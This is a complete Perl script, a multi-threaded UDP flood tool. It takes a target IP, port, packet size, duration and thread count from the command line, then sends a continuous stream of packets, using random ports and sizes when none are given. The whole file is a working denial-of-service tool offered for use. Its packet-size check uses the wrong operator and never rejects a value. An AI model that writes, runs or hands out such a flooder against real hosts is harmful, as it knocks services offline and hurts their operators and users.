#! /usr/bin/env perl

#Usage
#./prog.pl --IP=127.0.0.1 --Port=2323  --PSize=10 --Secs=1 --Thread=3 --Verbose

use warnings;
use strict;
use utf8;
use autodie;
use feature qw<say>;

use Config;
$Config{useithreads} || die "You need thread support for this to work";

use Getopt::Long;
use Regexp::Common qw<net>;
use Socket;
use threads;

my $result = GetOptions (
    'IP:s' => \my $ip,
    'Port|P:i' => \my $port,
    'PSize|PS:i' => \my $packSize,
    'Secs|S:i' => \my $secs,
    'Thread|T:i' => \my $threads,
    'Verbose|V' => \my $verbose
    );

do {say "Invalid IP: '$ip'"; exit(1)} 
unless $ip =~ /$RE{net}{IPv4}/;

do {say "Invalid port: '$port'"; exit(2)} 
unless (($port < 65536) && ($port >= 0));

do {say "Invalid packet size: '$packSize'"; exit(2)} 
unless (($packSize < 65500) || ($packSize > 0));

do {say "Invalid secs: '$secs'"; exit(3)} 
unless $secs > 0;

do {say "Invalid number of threads: '$threads'"; exit(4)} 
unless $threads > 0;

warn "Number of threads '$threads' could be a problem" 
    unless $threads < 35;

say<<"StartMsg";
    |--------------------------------|
    ->  Address: $ip 
    ->  Port: $port 
    ->  Packet Size: $packSize 
    ->  Seconds: $secs 
    ->  Number of threads: $threads 
    ->  Verbose: $verbose
    |--------------------------------|
StartMsg

print "Is this correct?(y/n)";

do {say "Halting program!"; exit(5)} unless <STDIN> =~ /^y/;

threads->create(
	sub{
		my ($ip, $port, $size, $time, $verbose) = @_;
		my $iaddr = inet_aton("$ip");
		my $endtime = time() + ($time ? $time : 1000000);
		socket(my $flood, PF_INET, SOCK_DGRAM, 17);

		while (time() <= $endtime){
			#say "end: $endtime time: ", time();
			my $psize = $size ? $size : int(rand(1024-64)+64) ;
			my $pport = $port ? $port : int(rand(65500))+1;
			send($flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
			if($verbose){
				print "Sent Packet: Size[$psize] Port[$pport]\n";
			}
		}
	}, $ip, $port, $packSize, $secs, $verbose)->join for (1..$threads);

exit (0);